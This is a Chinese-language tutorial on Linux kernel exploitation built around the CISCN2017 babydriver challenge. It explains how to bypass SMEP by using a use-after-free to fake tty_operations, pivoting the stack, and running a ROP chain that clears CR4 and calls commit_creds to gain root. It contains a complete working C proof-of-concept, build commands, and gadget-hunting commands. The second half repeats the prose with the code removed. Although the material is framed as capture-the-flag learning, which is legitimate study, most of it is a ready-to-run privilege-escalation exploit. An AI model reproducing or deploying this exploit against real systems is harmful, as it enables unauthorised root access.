Linux Kernel Exploit 内核漏洞学习(3)-Bypass-Smep
字数 1161 2025-08-03 16:44:23

Linux内核漏洞利用:绕过SMEP保护机制

1. SMEP保护机制概述

SMEP (Supervisor Mode Execution Protection) 是Linux内核的一种保护机制,其作用是当CPU处于ring0模式时,如果执行了用户空间的代码就会触发页错误。这种保护机制主要用于防止ret2usr攻击。

2. 实验环境与前置知识

2.1 实验环境

  • 使用CISCN2017 babydriver作为演示案例
  • 环境已放在GitHub上可供下载学习

2.2 关键结构体

ptmx设备与tty_struct

  • ptmx设备是tty设备的一种
  • 当调用open函数时,会创建一个tty_struct结构体
  • tty_struct通过kmalloc申请堆空间

tty_struct结构体

struct tty_struct {
    int magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops; // 关键结构体指针
    // ...其他成员...
} __randomize_layout;
  • 大小为0x2e0字节

tty_operations结构体

struct tty_operations {
    struct tty_struct *(*lookup)(...);
    int (*install)(...);
    void (*remove)(...);
    int (*open)(...);
    void (*close)(...);
    // ...其他函数指针...
    int (*write)(struct tty_struct *tty, const unsigned char *buf, int count);
    // ...更多函数指针...
} __randomize_layout;
  • 包含多个函数指针,可用于控制流劫持

3. SMEP检测机制

SMEP保护的状态由CR4寄存器的第20位决定:

  • 1:SMEP保护开启
  • 0:SMEP保护关闭

示例:

  • CR4=0x1407f0 (二进制0001 0100 0000 0111 1111 0000):SMEP开启
  • CR4=0x6f0 (二进制0000 0000 0000 0110 1111 0000):SMEP关闭

修改方法:

mov cr4, 0x6f0

4. 漏洞利用思路

4.1 总体思路

  1. 利用UAF漏洞控制tty_struct结构体的空间
  2. 修改真实的tty_operations地址指向我们构造的虚假tty_operations
  3. 构造虚假tty_operations,修改其中的write函数指针为ROP链
  4. 利用修改后的write函数劫持程序流

4.2 关键问题解决

由于没有直接控制栈,需要通过调试找到栈转移的方法。通过分析发现:

  • rax寄存器会保存tty_operations结构体的首地址
  • 可以使用以下指令进行栈转移:
    mov rsp, rax
    
    xchg rsp, rax
    

4.3 虚假tty_operations构造

for (i = 0; i < 30; i++) {
    fake_tty_opera[i] = 0xffffffff8181bfc5; // 填充通用gadget
}
fake_tty_opera[0] = 0xffffffff810635f5; // pop rax; pop rbp; ret;
fake_tty_opera[1] = (size_t)rop;        // ROP链地址
fake_tty_opera[3] = 0xffffffff8181bfC5; // mov rsp,rax ; dec ebx ; ret
fake_tty_opera[7] = 0xffffffff8181bfc5; // mov rsp,rax ; dec ebx ; ret

4.4 ROP链构造

size_t rop[20] = {0};
rop[i++] = 0xffffffff810d238d;    // pop_rdi_ret
rop[i++] = 0x6f0;                 // CR4值(关闭SMEP)
rop[i++] = 0xffffffff81004d80;    // mov_cr4_rdi_pop_rbp_ret
rop[i++] = 0x6161616161;          // junk
rop[i++] = (size_t)get_root;      // 提权函数
rop[i++] = 0xffffffff81063694;    // swapgs_pop_rbp_ret
rop[i++] = 0x6161616161;          // junk
rop[i++] = 0xffffffff814e35ef;    // iretq; ret;
rop[i++] = (size_t)shell;         // 用户空间shell函数
rop[i++] = user_cs;               // 保存的用户CS
rop[i++] = user_eflags;           // 保存的EFLAGS
rop[i++] = user_sp;               // 保存的用户栈指针
rop[i++] = user_ss;               // 保存的用户SS

5. 完整利用代码(POC)

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>

unsigned long user_cs, user_ss, user_eflags, user_sp;
size_t commit_creds_addr = 0xffffffff810a1420;
size_t prepare_kernel_cred_addr = 0xffffffff810a1810;
void *fake_tty_opera[30];

void shell(){
    system("/bin/sh");
}

void save_stats(){
    asm(
        "movq %%cs, %0 \n"
        "movq %%ss, %1 \n"
        "movq %%rsp, %3 \n"
        "pushfq \n"
        "popq %2 \n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_eflags), "=r"(user_sp)
        :
        : "memory");
}

void get_root(){
    char *(*pkc)(int) = prepare_kernel_cred_addr;
    void (*cc)(char *) = commit_creds_addr;
    (*cc)((*pkc)(0));
}

int main(){
    int fd1, fd2, fd3, i = 0;
    size_t fake_tty_struct[4] = {0};
    size_t rop[20] = {0};
    
    save_stats();
    
    rop[i++] = 0xffffffff810d238d;    // pop_rdi_ret
    rop[i++] = 0x6f0;                 // CR4值
    rop[i++] = 0xffffffff81004d80;    // mov_cr4_rdi_pop_rbp_ret
    rop[i++] = 0x6161616161;          // junk
    rop[i++] = (size_t)get_root;      // 提权函数
    rop[i++] = 0xffffffff81063694;    // swapgs_pop_rbp_ret
    rop[i++] = 0x6161616161;          // junk
    rop[i++] = 0xffffffff814e35ef;    // iretq; ret;
    rop[i++] = (size_t)shell;         // shell函数
    rop[i++] = user_cs;               // 用户CS
    rop[i++] = user_eflags;           // 用户EFLAGS
    rop[i++] = user_sp;               // 用户栈指针
    rop[i++] = user_ss;               // 用户SS

    for (i = 0; i < 30; i++){
        fake_tty_opera[i] = 0xffffffff8181bfc5;
    }
    fake_tty_opera[0] = 0xffffffff810635f5; // pop rax; pop rbp; ret;
    fake_tty_opera[1] = (size_t)rop;         // ROP链地址
    fake_tty_opera[3] = 0xffffffff8181bfC5;  // mov rsp,rax ; dec ebx ; ret
    fake_tty_opera[7] = 0xffffffff8181bfc5;  // mov rsp,rax ; dec ebx ; ret

    fd1 = open("/dev/babydev", O_RDWR);
    fd2 = open("/dev/babydev", O_RDWR);
    ioctl(fd1, 0x10001, 0x2e0);
    close(fd1);
    
    fd3 = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    read(fd2, fake_tty_struct, 32);
    fake_tty_struct[3] = (size_t)fake_tty_opera;
    write(fd2, fake_tty_struct, 32);
    
    write(fd3, "cc-sir", 6); // 触发ROP
    
    return 0;
}

6. 编译与运行

编译命令:

gcc poc.c -o poc -w -static

运行:

./poc

7. 关键技巧

7.1 寻找gadget

当使用ropper或ROPgadget工具太慢时,可以尝试使用objdump:

查找CR4相关gadget:

objdump -d vmlinux -M intel | grep -E "cr4|pop|ret"

查找swapgs相关gadget:

objdump -d vmlinux -M intel | grep -E "swapgs|pop|ret"

注意:

  • 需要检查这些指令的地址是否连续可用
  • 对于iretq指令,可能需要使用ropper工具查找

8. 总结

  1. 理解内核执行流程和关键结构体分配方式至关重要
  2. 利用UAF漏洞控制tty_struct结构体
  3. 通过修改tty_operations函数指针劫持控制流
  4. 使用ROP链关闭SMEP保护并提权
  5. 通过栈转移技术解决无直接栈控制的问题
  6. 合理使用工具查找所需gadget
Linux内核漏洞利用:绕过SMEP保护机制 1. SMEP保护机制概述 SMEP (Supervisor Mode Execution Protection) 是Linux内核的一种保护机制,其作用是当CPU处于ring0模式时,如果执行了用户空间的代码就会触发页错误。这种保护机制主要用于防止ret2usr攻击。 2. 实验环境与前置知识 2.1 实验环境 使用CISCN2017 babydriver作为演示案例 环境已放在GitHub上可供下载学习 2.2 关键结构体 ptmx设备与tty_ struct ptmx设备是tty设备的一种 当调用open函数时,会创建一个tty_ struct结构体 tty_ struct通过kmalloc申请堆空间 tty_ struct结构体 大小为0x2e0字节 tty_ operations结构体 包含多个函数指针,可用于控制流劫持 3. SMEP检测机制 SMEP保护的状态由CR4寄存器的第20位决定: 1:SMEP保护开启 0:SMEP保护关闭 示例: CR4=0x1407f0 (二进制0001 0100 0000 0111 1111 0000):SMEP开启 CR4=0x6f0 (二进制0000 0000 0000 0110 1111 0000):SMEP关闭 修改方法: 4. 漏洞利用思路 4.1 总体思路 利用UAF漏洞控制tty_ struct结构体的空间 修改真实的tty_ operations地址指向我们构造的虚假tty_ operations 构造虚假tty_ operations,修改其中的write函数指针为ROP链 利用修改后的write函数劫持程序流 4.2 关键问题解决 由于没有直接控制栈,需要通过调试找到栈转移的方法。通过分析发现: rax寄存器会保存tty_ operations结构体的首地址 可以使用以下指令进行栈转移: 4.3 虚假tty_ operations构造 4.4 ROP链构造 5. 完整利用代码(POC) 6. 编译与运行 编译命令: 运行: 7. 关键技巧 7.1 寻找gadget 当使用ropper或ROPgadget工具太慢时,可以尝试使用objdump: 查找CR4相关gadget: 查找swapgs相关gadget: 注意: 需要检查这些指令的地址是否连续可用 对于iretq指令,可能需要使用ropper工具查找 8. 总结 理解内核执行流程和关键结构体分配方式至关重要 利用UAF漏洞控制tty_ struct结构体 通过修改tty_ operations函数指针劫持控制流 使用ROP链关闭SMEP保护并提权 通过栈转移技术解决无直接栈控制的问题 合理使用工具查找所需gadget